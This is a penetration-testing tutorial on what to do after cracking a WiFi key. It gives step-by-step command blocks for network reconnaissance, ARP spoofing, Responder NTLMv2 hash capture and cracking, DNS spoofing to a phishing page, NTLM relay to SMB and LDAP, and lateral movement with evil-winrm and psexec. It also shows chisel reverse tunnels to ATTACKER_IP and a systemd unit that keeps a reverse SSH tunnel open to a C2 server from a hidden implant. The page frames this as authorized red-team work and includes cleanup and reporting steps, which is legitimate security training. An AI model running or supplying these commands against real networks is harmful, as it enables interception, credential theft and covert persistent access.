Wireless→wired

Advanced

T1557 | Adversary-in-the-Middle T1021 | Remote Services T1040 | Network Sniffing

Wireless Post-Exploitation

Cracking a WiFi password is only the beginning. After gaining wireless network access, the work turns to pivoting into the internal network, intercepting traffic, relaying credentials, and moving laterally from the wireless segment into wired infrastructure.

Scope Check

Post-exploitation activities can rapidly expand beyond the original scope. Ensure your Rules of Engagement explicitly authorize internal network testing, credential capture, and lateral movement before proceeding.

Prerequisites

• Successfully connected to the target wireless network (WPA key cracked)
• IP address obtained via DHCP or static assignment
• nmap, responder, bettercap, impacket, evil-winrm, chisel, and proxychains installed
• Understanding of ARP, DNS, and NTLM relay concepts

Network Reconnaissance

Once connected to the wireless network, the first step is mapping the internal network — identify the subnet, gateway, DNS servers, and all reachable hosts and services.

01-network-recon.sh

# Check your assigned IP and gateway
ip addr show wlan0
ip route show

# Identify the subnet and DNS
cat /etc/resolv.conf

# Quick host discovery (ARP scan — fastest, subnet only)
sudo arp-scan --interface=wlan0 --localnet

# Nmap host discovery + common port scan
nmap -sn 192.168.1.0/24 -oA discovery
nmap -sV -sC --top-ports 100 192.168.1.0/24 -oA initial_scan

# Identify the domain controller (if AD environment)
nmap -p 88,389,636,445,53 192.168.1.0/24 --open -oG dc_scan.txt

# Check for network shares
smbclient -L //192.168.1.1 -N
nxc smb 192.168.1.0/24 --shares

Wireless vs. Wired Segmentation

Many organizations place wireless clients on a separate VLAN. Check if you can reach the wired corporate network. If the wireless VLAN is isolated, you may need to pivot through a dual-homed host (e.g., a wireless printer that's also on the wired network).

ARP Spoofing & MITM

ARP spoofing positions you as a man-in-the-middle between the target and the gateway, allowing you to intercept, modify, or redirect all network traffic on the wireless segment.

02-arp-spoofing.sh

# Method 1: Bettercap (recommended — handles forwarding automatically)
sudo bettercap -iface wlan0

# Inside bettercap:
> net.probe on              # Discover hosts
> net.show                  # List discovered hosts
> set arp.spoof.targets 192.168.1.50   # Target specific host
> arp.spoof on              # Start ARP poisoning
> net.sniff on              # Capture traffic

# Method 2: arpspoof + IP forwarding (manual)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t 192.168.1.50 -r 192.168.1.1

# Method 3: Ettercap (GUI available)
sudo ettercap -T -M arp:remote /192.168.1.50// /192.168.1.1//

ARP Spoofing Detection

Modern switches and network monitoring tools (DHCP snooping, Dynamic ARP Inspection) can detect and block ARP spoofing. Wireless networks are more vulnerable since all clients share the broadcast domain. Check for DAI before assuming success.

Credential Sniffing

With MITM position established, capture credentials from unencrypted protocols and downgraded connections. Even HTTPS can be stripped in some configurations.

03-credential-sniffing.sh

# Bettercap with HTTP proxy and credential sniffing
sudo bettercap -iface wlan0
> set arp.spoof.targets 192.168.1.0/24
> arp.spoof on
> set net.sniff.verbose true
> set net.sniff.output captured.pcap
> net.sniff on

# Capture HTTP credentials (unencrypted forms/Basic auth)
# Bettercap logs them automatically when sniffing

# Responder — poison LLMNR/NBT-NS/mDNS to capture NTLMv2 hashes
sudo responder -I wlan0 -wrf

# Check captured hashes
cat /usr/share/responder/logs/*.txt

# Crack captured NTLMv2 hashes
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Responder on Wireless

Responder is extremely effective on wireless segments because clients often broadcast LLMNR/NBT-NS queries for printers, file shares, and intranet sites. A wireless attacker in the same broadcast domain can poison these queries without any ARP spoofing needed.

DNS Spoofing

Redirect DNS queries to serve phishing pages, capture credentials, or redirect traffic to attacker-controlled infrastructure.

04-dns-spoofing.sh

# Bettercap DNS spoofing (requires ARP spoof active)
sudo bettercap -iface wlan0
> set dns.spoof.domains intranet.corp.local, portal.corp.local
> set dns.spoof.address 192.168.1.200  # Your IP
> dns.spoof on

# Host a credential harvesting page
# (use with authorization only — phishing assessment)
python3 -m http.server 80  # Serve your phishing page

# Alternative: dnschef (standalone DNS proxy)
sudo dnschef --fakedomains=intranet.corp.local --fakeip=192.168.1.200 -i 0.0.0.0

NTLM Relay from WiFi

If the wireless segment has visibility to Active Directory services, captured NTLM authentication attempts can be relayed to other hosts to gain access without cracking the password.

05-ntlm-relay.sh

# Step 1: Identify SMB targets that don't require signing
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt

# Step 2: Start ntlmrelayx (Impacket)
# Relay captured NTLM auth to targets and dump SAM
sudo ntlmrelayx.py -tf targets.txt -smb2support

# Step 3: Trigger authentication
# Option A: Responder (LLMNR/NBT-NS poisoning)
sudo responder -I wlan0 -wrf --disable-ess

# Option B: Force auth via captured credentials or file share link
# Create an SCF/URL file on a writable share that triggers auth

# Step 4: Check ntlmrelayx output for:
# - SAM dumps (local admin hashes)
# - Secretsdump output
# - Command execution results

# Advanced: Relay to LDAP for AD takeover
sudo ntlmrelayx.py -t ldap://DC_IP --delegate-access

SMB Signing

NTLM relay attacks fail against hosts with SMB signing required. Domain controllers enforce signing by default. Focus relay attacks on workstations and member servers. Check with: nxc smb TARGET --gen-relay-list

Lateral Movement

Move from the wireless segment into wired infrastructure using captured credentials or relay-obtained access.

06-lateral-movement.sh

# With captured credentials — check access scope
nxc smb 192.168.1.0/24 -u 'user' -p 'password' --shares

# WinRM access (if port 5985 open)
evil-winrm -i 192.168.1.50 -u 'user' -p 'password'

# PsExec via Impacket
psexec.py 'DOMAIN/user:password@192.168.1.50'

# SSH pivoting through a compromised host to reach wired VLANs
ssh -D 9050 user@192.168.1.50    # SOCKS proxy
proxychains nmap -sT -p 445,3389 10.0.0.0/24

# Chisel tunnel (if SSH unavailable)
# On attacker: chisel server -p 8080 --reverse
# On target:   chisel client ATTACKER_IP:8080 R:socks

Pivot Scenario	Technique	Tool
WiFi → wired via dual-homed host	SSH/SOCKS proxy through compromised printer or thin client	ssh -D / chisel
WiFi → AD domain controller	NTLM relay to LDAP or Kerberos attack	ntlmrelayx / impacket
Guest WiFi → corporate	Scan for misconfigured firewall rules between VLANs	nmap / traceroute
IoT VLAN → management	Compromise IoT device, use as network pivot	metasploit / ligolo

Wireless Persistence

Maintaining access after initial compromise — useful for red team engagements with multi-day operational windows. Three approaches are common:

Rogue AP backdoor: deploy a small device (Raspberry Pi / GL.iNet) configured to connect to the target WiFi as a client, create a reverse SSH tunnel to C2, and bridge or NAT traffic for remote access.
WPA-Enterprise certificate persistence: if you have compromised the RADIUS server or CA, issue legitimate client certificates and connect with valid 802.1X credentials.
Pre-shared key access: the cracked WPA2 key provides persistent access until it is changed. A PSK change forces clients to re-handshake, so watch for fresh 4-way handshakes.

The rogue-AP implant can auto-connect and tunnel on boot with a systemd unit:

wifi-tunnel.service

[Service]
ExecStart=/usr/bin/ssh -N -R 2222:localhost:22 c2@YOUR_SERVER -o StrictHostKeyChecking=no
Restart=always

To detect a PSK change, watch for fresh 4-way handshakes (airodump-ng has no password-change detection mode):

sudo airodump-ng wlan0mon --bssid <BSSID> -w monitoring

Red Team Consideration

For long-duration engagements, a small wireless implant (Raspberry Pi Zero W or GL.iNet travel router) hidden near the target and connected to their WiFi provides a reliable physical backdoor with remote access via reverse tunnel.

Cleanup & Reporting

Properly clean up after post-exploitation activities and document findings for the report.

Cleanup Checklist

• Stop all ARP spoofing and restore ARP tables
• Terminate Responder and DNS spoofing
• Remove implants and rogue APs
• Delete dropped files from compromised hosts
• Flush IP forwarding rules
• Disconnect from target wireless network

Report Findings

• WiFi key cracked → time to crack, method used
• Network segmentation gaps (WiFi → wired access)
• Credentials captured via LLMNR/MITM
• NTLM relay success → hosts compromised
• Lateral movement path to sensitive systems
• Recommended mitigations per finding

08-cleanup.sh

# Restore ARP tables (stop bettercap gracefully)
# bettercap: arp.spoof off → exit

# Manual ARP restore
sudo arpspoof -i wlan0 -t 192.168.1.50 -r 192.168.1.1  # Ctrl+C sends restore packets

# Disable IP forwarding
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

# Clear iptables rules added during testing
sudo iptables -t nat -F
sudo iptables -F

Verify It Worked

Check	Expected	Where to look
Internal hosts found	nmap or arp-scan enumerates live hosts and open services on the subnet	The nmap -oA / arp-scan output
MITM position held	bettercap shows ARP spoof targets and net.sniff captures victim traffic	The bettercap session
Credentials captured	Responder logs NTLMv2 hashes in /usr/share/responder/logs/*.txt (crackable with hashcat -m 5600)	The Responder log directory
Pivot works	proxychains routes a scan through the compromised host into the next subnet	The proxychains / nmap output